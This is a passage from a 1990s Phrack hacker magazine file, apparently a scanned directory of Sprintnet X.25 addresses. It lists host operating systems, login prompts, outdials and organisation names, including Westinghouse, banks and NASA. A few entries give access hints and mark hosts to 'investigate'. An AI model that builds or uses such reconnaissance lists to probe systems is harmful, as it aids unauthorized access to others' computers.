313 173    VAX/VMS     IPP VAX/VMS V5.4-3 SYSTEM VIP012
313 202                Merit:X.25 Gateway
313 214  $             outdial (313)
313 216  $             outdial (313)
313 239    Unix        Valenite
313 250    HP-3000
313 330  $ Unix        Domino's Pizza Distribution Corp
313 350  *
313 351  *
313 352  *
313 353  *
313 354  *
313 355  *
313 365    Unix/SunOS  This is our latest and greatest X.29 service
313 705    OS4000 5.5  Logging in  user
313 800    Prime       PRIMENET 22.1.4.R39v D1D2
313 1020               USER ID
313 1021               USER ID
313 1032 *
313 1162   Unix        R44X01 login:
313 1163   Unix        R69X01 login:
313 1164   Unix        R50X01 login:
313 1165   Unix        R57X01 login:
313 1166   Unix        R64X01 login:
313 1167   Unix        R66X01 login:
313 1169   Unix        R70X01 login:
313 1170   Unix        R73X01 login:
313 1171   Unix        R75X01 login:
313 1172   Unix        R72X01 login:
313 1174   Unix        R77X01 login:
313 1175   Unix/SysV   (jupiter)
313 1176   Unix        aries login:
313 1177   Unix        hermes login:




314  -  Missouri  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
314 139  *
314 143  $ ???         Please log in (or type "/DOC/DEMO").
314 260




315  -  New York  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
315 20                 (echo)
315 32   $             COMMAND UNRECOGNIZED
315 50   $ SIM3278
315 135                (echo)
315 136                (echo)
315 137  $             GTE CAMILLUS NY
315 138                CONNECTED TO PACKET/94
315 145    VAX/VMS     Username:
315 149  $             GTE CAMILLUS NY
315 150                GTE CAMILLUS NY
315 151                GTE CAMILLUS NY
315 152                (echo)
315 162                CONNECTED TO PACKET/400
315 172  *
315 231




317  -  Indiana  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
317 55   $             outdial (317)
317 113  $             outdial (317)
317 114  $             outdial (317)
317 127    VTAM/M02
317 134  $ Prime       PRIMENET 22.0.4.R8 PENTEK
317 136  *
317 140    VAX/VMS
317 142  *
317 143  $             (hangs up)
317 145    Prime       PRIMENET 22.1.3 ARVN01
317 148                USER ID
317 154    VAX/VMS
317 157  *
317 159  *
317 164  $             (hangs up)
317 174
317 235  $             CONNECTED TO PACKET/74
317 251                CONNECTED TO PACKET/400
317 253  *
317 255
317 260    Unix        SIL_CHI
317 299                ASYNC to whatever -- (try logical unit=9)
317 335    VAX/VMS
317 336  *




321  -  SPAN/NASA  Scanned: [N/A]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
321        Note: Access to SPAN now passes through a network
                 validation gateway. I was unable to get passed
                 this, and unable to scan this prefix.
                 Here is the friendly message you get on attempts:

                 Entering the NASA Packet Switching System (NPSS)
                 Please Report Service Access Problems To [phone]

                 <insert large warning banner>

                 USERID>
                 PASSWORD>
                 SERVICE>




401  -  Rhode Island  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
401 50   *
401 230  *




402  -  Nebraska  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
402 47
402 57     Unix        NCR 386/486  System name: tower12
402 131  *
402 231  *




404  -  Georgia  Scanned: [0-700]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
404 55   *
404 57
404 59
404 70
404 77
404 79
404 143
404 171
404 235.1  Port Selec  The Journal Of Commerce
404 235.2  VAX/VMS     Nedlloyd Lines Region Management North America
404 244
404 247
404 250.1              CUSTOMER ID:
404 250.2              (garbage)
404 251.1              CUSTOMER ID:
404 252.1              CUSTOMER ID:
404 262.2              TACL 1>
404 263.2              TACL 1>
404 264.2              TACL 1>
404 265.2              TACL 1>
404 266.2              TACL 1>
404 349    Prime       PRIMENET 22.1.3 EHPATL
404 358
404 359
404 372    VOS
404 373    VOS
404 374  *
404 560    VAX/VMS
404 633    VAX/VMS
404 635    VAX/VMS




405  -  Oklahoma  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
405 45                 ENTER SESSION ESTABLISHMENT REQUEST :
405 46                 TACL 1>
405 130  *
405 242    VAX/VMS
405 245  *
405 246
405 248  *
405 249  *




408  -  California  Scanned: [0 - 1500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
408 21   $             outdial (408)
408 31   *
408 45   $ HP-3000     SPECTRA-PHYSICS  LASERS
408 49   *
408 61
408 77   $             USER ID
408 110  $             outdial (408)
408 111  $             outdial (408)
408 121    HP-3000     SAGAN.HP.COM
408 127    Unix
408 133  $             (echo)
408 159  $ VAX/VMS
408 177  *
408 235    AOS         GLOBAL WEATHER MV3
408 238    Unix
408 260  *
408 261  *
408 264                Portal Communications Company. NEW/INFO/HELP
408 267  *
408 268  *
408 271
408 273
408 335    VAX/VMS     CONNECTING TO NODE: LTCTST
408 342  $ Unix/SunOS  (OSI)
408 343  $ VTAM        Amdahl Corporate Computer Network
408 344  $ VAX/VMS     ANDO running VMS V5.4-2
408 346    Unix        IGC Networks   login:new  password:<cr>
408 352  $ VTAM        Amdahl Corporate Computer Network
408 356  *
408 357  *
408 378    Unix        X.25 PAD  (pad echo)
408 450    Unix        HP-UX moe
408 444  $ HP-3000     Finnigan Corporation
408 445  $ VAX/VMS     GEC PLESSEY Semiconductors
408 449    VAX/VMS     Friden Neopost (Node: PRDSYS)
408 450    Unix        HP-UX moe
408 456  *
408 530  *
408 531  *
408 532  *
408 534  $ DTC         DTC02.DOMAIN.ORGANIZATION
408 539                User Access Verification Password:
408 1050
408 1046 *
408 1050
408 1051
408 1052
408 1053
408 1054   Port Selec  First Image
408 1055
408 1060 $             REQUESTED APPLICATION NOT DEFINED
408 1061 $             REQUESTED APPLICATION NOT DEFINED
408 1062 $             REQUESTED APPLICATION NOT DEFINED
408 1063 $             REQUESTED APPLICATION NOT DEFINED
408 1064 $             REQUESTED APPLICATION NOT DEFINED
408 1065 $             REQUESTED APPLICATION NOT DEFINED
408 1066 $             REQUESTED APPLICATION NOT DEFINED
408 1067 $             REQUESTED APPLICATION NOT DEFINED
408 1068 $             REQUESTED APPLICATION NOT DEFINED
408 1069 $             REQUESTED APPLICATION NOT DEFINED
408 1071 $             (echo)
408 1072 $             (echo)
408 1076 $             (echo)
408 1230 $             (echo)
408 1231 $             (echo)
408 1234 $             (echo)
408 1235 $             (echo)
408 1238 *
408 1240 $             (hangs up)
408 1350   VAX/VMS




410  - RCA? MCI?  Scanned: [0-300+]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
410 0                  MCI  YR ID?




412  -  Pennsylvania  Scanned: [0 - 1000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
412 30                 USER ID
412 33     VAX/VMS     Lender's Service, Inc. Computer System
412 34   $ ACF/VTAM    Lord Corp IBM Network
412 51                 *** ENTER LOGON
412 52                 *** ENTER LOGON
412 55                 COMMAND UNRECOGNIZED
412 60                 PC2LAN Connected to Router Pit
412 61                 %@CVTTAUD@dUYECVGUIiED
412 63                 %@CVTTAUD@dUYECVGUIiED
412 67     SIM3278     Mellon Bank
412 70   *
412 78                 #
412 79                 #
412 130
412 153                *** ENTER LOGON
412 201  $             outdial (412)
412 202  $             outdial (412)
412 230    VAX/VMS     You are connected to a private system.
412 231  $ Prime       PRIMENET 22.1.3.r13 MECO
412 335  *
412 336                Renex Connect, SN-00300371
412 340    SIM3278     Mellon Bank
412 342                COMMAND UNRECOGNIZED FOR T11310T0
412 349                *** ENTER LOGON
412 352                *** ENTER LOGON
412 440    Unix/SysV   X.29 Terminal Service (dxi-m1)
412 708    Unix/SysV   X.29 Terminal Service (dxi-m1)




414  -  Wisconsin  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
414 20   $             outdial (414)
414 21   $             outdial (414)
414 36   *
414 46   $ Prime       PRIMENET 22.1.4-SC1 SYSU
414 49                 CONNECTED TO MMISC
414 60                 User Name?   (MGIC)
414 120  $             outdial (414)
414 165                USER ID
414 170  *
414 241  *
414 242  *




415  -  California  Scanned: [0 - 1500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
415 5    $             outdial (415)
415 7      HP-3000     EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
415 11   $             outdial (415)
415 20                 Dialog Information Services
415 23   $             outdial (415)
415 27                 Stanford Data Center (SYSA), Forsythe Hall.
415 29A                Stanford University Hospital System (SUH/SYSC).
415 31                 You are not authorized to connect to this system
415 35                 (echo)
415 38                 DTC04.LSI.NET
415 48                 Dialog Information Services
415 49                 Dialog Information Services
415 53B    VAX/VMS     Username:
415 54                 USER ID
415 56                 CONNECTED TO PACKET/74
415 68A    VAX/VMS     Username:
415 74   *
415 108  $             outdial (415)
415 109  $             outdial (415)
415 131  $ HP-3000
415 153                CONNECTED TO PACKET/94
415 165  *
415 167    Prime       PRIMENET 22.1.3 VESTEK
415 168    Unix        Vestek
415 174  *
415 175                Dialog Information Services
415 215  $             outdial (415)
415 216  $             outdial (415)
415 217  $             outdial (415)
415 224  $             outdial (414)
415 232    Unix        pandora
415 234  $ Unix        UNIX System V Release 1.0-92b011 AT&T MIServer-S
415 475    Prime       PRIMENET 22.1.3.R21 CORP.1
415 476  *
415 569    DACS
415 1030   Prime
415 1052 *
415 1053   HP-3000
415 1057 $ VAX/VMS
415 1069 *
415 1252 *
415 1255 $ DTC         ERROR: User not authorized
415 1262 $ ???         ???
415 1268               TACL 1>
415 1269               TACL 1>
415 1356 *
415 1357 *
415 1600               USER ID




422  -  Westinghouse  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
422 101.1              ENTER PASSWORD
422 104    DTC         Type 'H' or '?' for HELP
422 105                CONNECTED TO PACKET/74
422 106    GS/1        FASD >
422 115                Westinghouse X.25 Network  WCIS Gandalf pad 422115
422 122
422 123    VM/XA       Westinghouse Corporate Computer Services
422 129                COMMTEX Cx-80 DATA EXCHANGE
422 131.1  annex       tcc_inn>
422 131.2              >
422 131.3
422 131.4              Network Access DSU/CSU  (menu driven need vt100)
422 131.5              uGn
422 131.6
422 131.7              MJgsonnesvev>3=9>722>?=3=>7/3=9>7?=????7
422 135.5
422 135.6  annex       tcc_hub>
422 135.7              ** USER NOT LOGGED ON
422 135.10             ** USER NOT LOGGED ON
422 135.20 annex       tcc_hub>
422 135.30
422 137.1  annex       credit>
422 137.4
422 137.5  ???         <         (try '?')
422 137.9  annex       credit1>
422 138                Select Destination:
422 139    VM/XA       Westinghouse Corporate Computer Services
422 150
422 154
422 165
422 166
422 167
422 168
422 169
422 180                WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME
422 181                WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME
422 183                MHP1201I TERMINAL CONNECTED TO PACKET/74
422 184                MHP1201I TERMINAL CONNECTED TO PACKET/74
422 185                MHP1201I TERMINAL CONNECTED TO PACKET/74
422 187                MHP1201I TERMINAL CONNECTED TO PACKET/74
422 237
422 240
422 244                WESPAC/ENTER PASSWORD
422 252
422 254.6              Westinghouse X.25 Network /  Tech Control  422254
422 254.8              (drops to dos?)
422 255    VM/???      WESCO INFORMATION SYSTEMS
422 310    VAX/VMS
422 311
422 340
422 346
422 365
422 375
422 376    AOS         Westinghouse Corporate Information Services
422 381                TACL 1>
422 390
422 401    AOS
422 405    AOS
422 409    AOS
422 410    AOS
422 412    AOS
422 413    AOS
422 416    AOS
422 424    AOS
422 431    AOS
422 440    AOS
422 443    AOS
422 450.2              RM >
422 450.3              CDS >
422 450.4              CDS >
422 450.5              (beep!)
422 450.6              CDS >
422 450.7              CDS >
422 450.8              RM >
422 450.9              CDS >
422 450.10             CDS >
422 450.11             CDS >
422 454
422 493    AOS
422 494                Westinghouse ESCC    IBM C-80 System B Access
422 495                Westinghouse ESCC    IBM C-80 System B Access
422 496                Westinghouse ESCC    IBM C-80 System B Access
422 497                Westinghouse ESCC    IBM C-80 System A Access
422 501    AOS
422 502    TSO         pci protocol converter    please logon pad 502
422 504.9              ESCC CCU PAD 504  - PLEASE ENTER PASSWORD
422 508                Westinghouse Power Generation World Headquarters
422 511    AOS
422 514    AOS
422 517    AOS
422 519                Westinghouse X.25 Network   Lima, OH pad 422519
422 522    AOS
422 525    AOS
422 527    AOS         Nuclear Saftey
422 535    AOS
422 539    AOS
422 541    AOS
422 544.2              RM >
422 545    AOS
422 547    VAX/VMS
422 555    AOS
422 558                Westinghouse X.25 Network    Orrville, OH pad p558
422 559    AOS
422 571    AOS
422 577    AOS
422 609    AOS
422 601    Unix/SunOS
422 602    AOS
422 606                Carpenter Technology's Network
422 608    AOS
422 609    AOS
422 613    AOS
422 614
422 616    AOS
422 623    AOS
422 631    AOS
422 636                Wesmark System
422 637    AOS
422 645    AOS
422 649    AOS
422 651    AOS
422 656                Wesmark System
422 657    AOS
422 659    AOS
422 660    AOS
422 669    AOS
422 674    AOS
422 694                IBM 7171 Access   please hit the ENTER key
422 695                Westinghouse ESCC   IBM C-80 System G Access
422 696                Westinghouse ESCC   IBM C-80 System F Access
422 697                Westinghouse ESCC   IBM C-80 System E Access
422 698                Westinghouse ESCC   IBM C-80 System D Access
422 702                (garbage)
422 999                WCCS Figures Service
422 1200.99            Username:
422 1205               ****POSSIBLE DATA LOSS 00 00****
422 1207               password:
422 1208.1             Westinghouse X.25 Network  BALTIMORE, MD.
422 1215
422 1305   AOS
422 1304.1             Westinghouse X.25 Network  Ft. Payne, AL pad 1304a
422 1305   AOS
422 1312.1             Westinghouse X.25 Network  Winston-Salem, NC pad 1312-1
422 1317   AOS
422 1319
422 1320   AOS
422 1322   AOS
422 1396   VAX/VMS
422 1398   VAX/VMS
422 1405
422 1420   VAX/VMS     COFVIL - APTUS Coffeyville system
422 1512               Please enter service name >   (use 'wespac')
422 1720
422 1719
422 1720
422 1722               (menu driven...)
422 1724
422 1759               (menu driven...)
422 1760
422 1791
422 1792
422 1793
422 1794
422 1840.2 Prime       Primecom Network 19.4Q.111 System 47
422 1852               Knutsford PAD 1
422 1855               Stansted Delta PAD  Operator:
422 1860.1
422 1862
422 1884.1             >
422 1890.1             London, UK PAD 4221890
422 1901.2 $           Westinghouse EURO.SWITCH.NETWORK - WNI -BRUSSEL
422 1907   $           WESPAC PAD 4
422 1917   $           WESPAC PAD 3
422 3101.1             Class of Service:
422 3201   AOS
422 3202   AOS
422 3203   AOS
422 3204   AOS
422 3208
422 3209
422 3210
422 3211
422 3212
422 3213   AOS
422 3214               SmartView NetWork Management System
422 3219   AOS
422 3221   AOS
422 3222
422 3223
422 3228   AOS
422 3230
422 3231
422 3233.1
422 3234
422 3235   AOS
422 3236               VISTA BATCH    User ID?
422 3252   AOS
422 3253   AOS
422 3254   AOS
422 3255   AOS
422 3258
422 3259
422 3260
422 3261
422 3361
422 3362
422 3363
422 3401   TSO         MIS Computer Centre
422 3403   Port Select MIS Computer Center
422 3503   VAX/VMS
422 3601               Westinghouse X.25 Network  O' Hara Site pad 4223601
422 3602   VAX/VMS
422 3701   VAX/VMS
422 3703   CDCNET      2 systems: SN211=CRAY, NOSF=Cyber
422 3704   CDCNET
422 3705   CDCNET
422 3753
422 3804
422 3805
422 3806
422 3807
422 3842.1             Jones Day Washington Office
422 3860.2             Jones Day Pittsburgh Office
422 3902               enter class
422 3904   VAX/VMS
422 5021
422 5039
422 5037               connected 31104220503700/
422 5043
422 5044
422 5052   VAX/VMS
422 5053   VAX/VMS
422 5060
422 5082
422 6002
422 6011

501  -  Arkansas  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
501 130  *
501 131  *
501 133




502  -  Kentucky  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
502 74     VAX/VMS     Username:
502 75     VAX/VMS     Username:
502 130    ???         B&W Corporate Computer System
502 136                CONNECTED TO PACKET/94
502 138  *




503  -  Oregon  Scanned: [0 - 500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
503 20   $             outdial (503)
503 21   $             outdial (503)
503 33     Major BBS   Public Data Network   User-ID? new
503 120  $             outdial (503)
503 378  *
503 379  *
503 476  $             access barred
503 477  *
503 530  *
503 531  *




505  -  New Mexico  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
505 30
505 153  *
505 157  *
505 159  *
505 233  $             REQUESTED APPLICATION NOT DEFINED




509  -  Washington  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
509 232  $




512  -  Texas  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
512 8    $             outdial (512)
512 55   *
512 63   *
512 65   *
512 136                AL /,/-   (locks up)
512 138  *
512 140                AL /,/-   (locks up)
512 151  *
512 152  *
512 153  *
512 253  *
512 257    Unix        HP-UX ioi877
512 260  *
512 330
512 331




513  -  Ohio  Scanned: [0 - 300+]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
513 30                 Lexis and Nexis
513 31     Port Selec  MEADNET (hosts:lexis,tymnet,telenet,dialcom...)
513 32   $             $$ 5800 LOGIN SUCCESSFUL
513 37   $ Prime       PRIMENET 23.3.0.r29 E03
513 55   $ Prime       PRIMENET 22.1.4.R30 I01
513 57   $ Prime       PRIMENET 23.3.0.r29 E04
513 58   $ VAX/VMS     AEE040 is a MicroVAX 3900
513 66   *
513 67   $ Prime       PRIMENET 23.3.0.r29 E01
513 68   *
513 69   *
513 72   $ Prime       PRIMENET 22.1.4.R30 O1
513 73   $ Prime       PRIMENET 22.1.4.R30 S2
513 75   $ Prime       PRIMENET 22.1.4.R30 T01
513 77   $ Prime       PRIMENET 23.3.0.r29 M01
513 78   $ Prime       PRIMENET 22.1.4.R7 A02
513 79   $ Prime       PRIMENET 22.1.4.R30 C2
513 80                 Welcome To Develnet --CL2-- Request:
513 131                Lexis and Nexis
513 132                Lexis and Nexis
513 133                Lexis and Nexis
513 134                Lexis and Nexis
513 139                Lexis and Nexis (passthru 202365)
513 161     VAX/VMS    AEE101
513 165     VAX/VMS    AEE010
513 174   *
513 176   *
513 230     VAX/VMS    Unison/Applied Software Designs, Inc.
513 234   $ VAX/VMS    Continental PET Technologies, FLORENCE
513 236   *
513 240   *




515  -  Iowa  Scanned: [0 - 200]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
515 30                 Lexis and Nexis
515 31                 Lexis and Nexis
515 47   *




516  -  New York  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
516 14   $             outdial (516)
516 15   $             outdial (516)
516 35                 CCI Multilink Services, (mail)
516 38   *
516 45                 Hello
516 48.1               CUSTOMER ID:
516 49.1               CUSTOMER ID:
516 140  *
516 234  *




518  -  New York  Scanned:[0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
518 30                 MHP201A UPK12X01 APPLICATION:
518 36                 MHP201A UPK12X01 APPLICATION:
518 230                MHP201A UPK12X01 APPLICATION:
518 231                MHP201A UPK12X01 APPLICATION:


                          ==Phrack Magazine==

             Volume Four, Issue Forty-Two, File 10 of 14

                     <Sprintnet Directory Part 3>


602  -  Arizona  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
602 22   $             outdial?
602 23   $             outdial?
602 26   $             outdial (602)
602 35   $             MSG 1: COMMAND INVALID FROM PHTIB010
602 145  $             PSI Please enter our X.29 Password:
602 148  *
602 155.2  VAX/VMS     This is DTAC02 - VAX/VMS V5.5
602 165  *
602 166
602 167  *




603  -  New Hampshire  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
603 20   $             Dartmouth College Time Sharing, D1
603 31   $             outdial
603 40   $             DTC01, IP 130.010.200.023
603 46                 USER NUMBER--
603 47   *
603 60     VAX/VMS
603 61                 **** Invalid sign-on, please try again ****
603 62                 **** Invalid sign-on, please try again ****
603 63                 **** Invalid sign-on, please try again ****
603 68
603 135    VM/CMS      ENTERPRISE SYSTEMS ARCHITECTURE--ESA370
603 136    VM/CMS      ENTERPRISE SYSTEMS ARCHITECTURE--ESA370
603 142  *




609  -  New Jersey  Scanned: [0 - 500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
609 41                 WHAT SERVICE PLEASE????
609 42                 WHAT SERVICE PLEASE????
609 46                 WHAT SERVICE PLEASE????
609 73   $ DTC         DTC01.DOMAIN.ORGANIZATION
609 100    Prime
609 120    Prime
609 135  *
609 138    Prime       PRIMENET 23.0.0 HCIONE
609 170    Prime
609 232  *
609 235    VAX/VMS     TMA Information Services
609 238  *
609 239  *
609 242                WHAT SERVICE PLEASE????
609 243                WHAT SERVICE PLEASE????
609 244                WHAT SERVICE PLEASE????
609 245  *
609 246  *
609 247  *
609 259




611  -  unknown  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
611 20
611 21
611 25                 ? (Transend?)
611 26                 ?
611 27                 ?
611 28                 ?
611 50                 SYSTEM AVAILABLE FOR YOUR USE
611 55                 SYSTEM AVAILABLE FOR YOUR USE
611 90     VAX/VMS     Username:
611 120    VAX/VMS     Username:
611 192    Prime
611 193    Prime
611 194    Prime
611 195    Prime
611 230    VAX/VMS
611 231    VAX/VMS
611 232    VAX/VMS
611 233    VAX/VMS
611 234    AOS         MHCOMET System A
611 235    AOS         MHCOMET System B
611 236    AOS         MHCOMET System C
611 238    AOS         MHCOMET System D




612  -  Minnesota  Scanned: [0 - 1000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
612 22   $
612 23                 Westlaw
612 37                 Westlaw
612 52   $ Prime       C>
612 56                 Westlaw
612 57                 Westlaw
612 58                 Westlaw
612 78   *
612 79   *
612 120  *
612 121  *
612 134  *
612 135  *
612 138  *
612 158                Westlaw
612 171  *
612 236
612 240    GS/1        MSC X.25 Gateway
612 241  *
612 259    VAX/VMS     System LPCOMB - VAX/VMS V5.5-1
612 260  $ CDCNET      Control Data Arden Hills CDCNET Network **investigate**
612 270                Westlaw
612 271                Westlaw
612 272                Westlaw
612 273                Westlaw
612 277                Password >
612 279                Westlaw
612 353                ENTER ID  (Westlaw)
612 362                Westlaw
612 363                Westlaw
612 364                Westlaw
612 365                Westlaw
612 366                Westlaw
612 367                Westlaw
612 368                Westlaw
612 369                Westlaw
612 385                Westlaw
612 391                Westlaw
612 393                Westlaw
612 395                Westlaw
612 395                Westlaw
612 455  *
612 456
612 457  *
612 458  *
612 460  *
612 461  *
612 462  *
612 1030 *




614  -  Ohio  Scanned: [0 - 300]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
614 21                 STN International!  Enter x:
614 22   $             outdial (614)
614 23   $             outdial (614)
614 31                 STN International!  Enter x:
614 32                 STN International!  Enter x:
614 34                 STN International!  Enter x:
614 36   *
614 65     Unix        all attempts monitored and reported
614 140                STN International!  Enter x:
614 145
614 148A
614 150A               MHP201A LPKMN001  APPLICATION:
614 154A
614 155                User name?
614 156                CONNECTED TO PACKET/94
614 157  *
614 230    Port Selec? **investigate**




617  -  Massachusetts  Scanned: 0 - 1500

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
617 20     Prime       PRIMENET 23.3.0.R20 PBN27
617 22     Prime       PRIMENET 22.0.0vA BDSD
617 26   $             outdial (617)
617 37     Prime       PRIMENET 23.3.0.R20 BDSH
617 47   $             ENTER ACCESS PASSWORD:
617 48     VAX/VMS     Username:
617 52     VAX/VMS     Username:
617 56   $             BEDPS:SCCHRV
617 63     VM/CMS      IRI
617 66     Prime       PRIMENET 23.3.0.R20 BDSK
617 72     Prime       IRI System 2
617 74     Prime       PRIMENET 23.3.0 ENB
617 78   *
617 114  $ Prime       PRIMENET 23.2.0.R48 MD.B
617 115  *
617 136  $ DTC         DTCX25.BOS.WMC
617 147  *
617 149    VAX/VMS     Newton Headend Node MicroVAX (NWTNH2)
617 158    Prime       PRIMENET 23.2.0 BDSW
617 169    Prime       PRIMENET 22.0.0vA PBN36
617 178                Enter Application Request
617 226    VM/CMS
617 230  *
617 234    Unix?       b1cs3!Username:
617 235    VAX/VMS     Username:
617 236    VAX/VMS     Username:
617 237    Unix?       b1cs3!Username:
617 250                ND X.29 Server - Press 'ESCAPE' to log in
617 255    Prime       PRIMENET 22.0.3vA PBN43
617 257  $ HP-3000
617 270  $ VAX/VMS     COSMOS (CO6408)
617 274  *
617 279    Unix SysV   oa1cs1!x25 name:
617 304    Prime       PRIMENET 23.3.0.R20 PBN67
617 306    Prime       PRIMENET 23.2.0 PBN53
617 308    Prime       PRIMENET 23.3.0.R20 PBN71
617 311  $             outdial (617)
617 313  $             outdial (617)
617 339  *
617 340    VAX/VMS     FAXON
617 341                Password:
617 346    VOS         STRATUS CUSTOMER ASSISTANCE CENTER
617 348  *
617 350    Prime       PRIMENET 23.2.0 PBN39
617 351    Prime       PRIMENET 22.0.0vA BDSU
617 373    VAX/VMS     FAXON
617 379    ???         $$ 4200 MODEL:
617 380    Prime       PRIMENET 22.1.4.R7 L01
617 381    Prime       PRIMENET 22.1.4.R7 P01
617 382    Prime       PRIMENET 22.1.4.R7 Y01
617 383    Prime       PRIMENET 22.1.4.R30 H02
617 384    Prime       PRIMENET 22.1.4.R7 V01
617 385    Prime       PRIMENET 22.1.4.R30 R01
617 387    Prime       PRIMENET 22.1.2.R22 B01
617 388    ???         $$ 4200 MODEL:
617 392    Prime       PRIMENET 22.1.4.R30 R04
617 393    Prime       PRIMENET 22.1.4.R7 Y04
617 397                U#=
617 453    Prime       PRIMENET 22.0.3vA PBN35
617 454    Prime       PRIMENET 23.2.0 NORTON
617 455    Prime       PRIMENET 23.3.r29.wg NER
617 457    Prime       PRIMENET 23.3.0 NNEB
617 458    Prime       PRIMENET 23.2.0.R32 CENTNE
617 460  *
617 474    Prime       PRIMENET 22.1.4 MD.FL1
617 490    Prime       PRIMENET 23.3.0 ALBANY
617 491    Prime       PRIMENET 23.2.0 CS
617 492    Prime       PRIMENET 23.0.0 FRMDLE
617 493    Prime       PRIMENET 23.0.0 STMFRD
617 498    Prime       PRIMENET 23.2.0 CS2NYC
617 499    Prime       PRIMENET 23.2.0.R32 SYRA
617 502    Prime       PRIMENET 23.2.0 APPLE
617 516    Prime       PRIMENET 23.2.0.R39 PBN38
617 518    Prime       PRIMENET 23.2.0 PBN41
617 519    Prime       PRIMENET 23.2.0.R39 PBN54
617 521    Prime       PRIMENET 22.0.3vA BDSG
617 530    ???         Maxlink International
617 534                dynapac: multi-pad.25
617 541    Prime       PRIMENET 22.0.3vA BDSS
617 543    Prime       PRIMENET 22.0.3vA PBN33
617 551    Prime       PRIMENET 22.0.4.R7 CSP-A
617 553    Prime       PRIMENET 22.0.3vA BDSQ
617 555    Prime       PRIMENET 23.2.0 PBN72
617 558    Prime       PRIMENET 23.2.0.CSBETA2 CSSS.A
617 560    Prime       PRIMENET 23.3.0.R20 BDSN
617 562    Prime       PRIMENET 22.1.4 BDSZ
617 563    Prime       LOGIN PLEASE (1)
617 564    Prime       PRIMENET 22.0.3 MD.NE
617 575    Prime       PRIMENET 22.1.2 MF.NP1
617 576    Prime       PRIMENET 22.0.1 B09
617 577    Prime       PRIMENET 22.1.1.R11 B30
617 578    Prime       PRIMENET 23.2.0.R3 SDSYSA
617 583    Prime       PRIMENET 22.0.2 MD.HFD
617 585    Prime       PRIMENET 23.2.0.R32 EDWIN
617 586    Prime       PRIMENET 23.2.0 BOSMET
617 588  *
617 589  *
617 590  *
617 593    Prime       PRIMENET 23.3.Beta2 BDSO
617 597    Prime       PRIMENET 22.0.3vA BDSB
617 641    AOS         Timeplace Inc.
617 649                PaperChase
617 654    Prime       IRI System 9
617 710    Prime       PRIMENET 23.2.0 MD.ATL
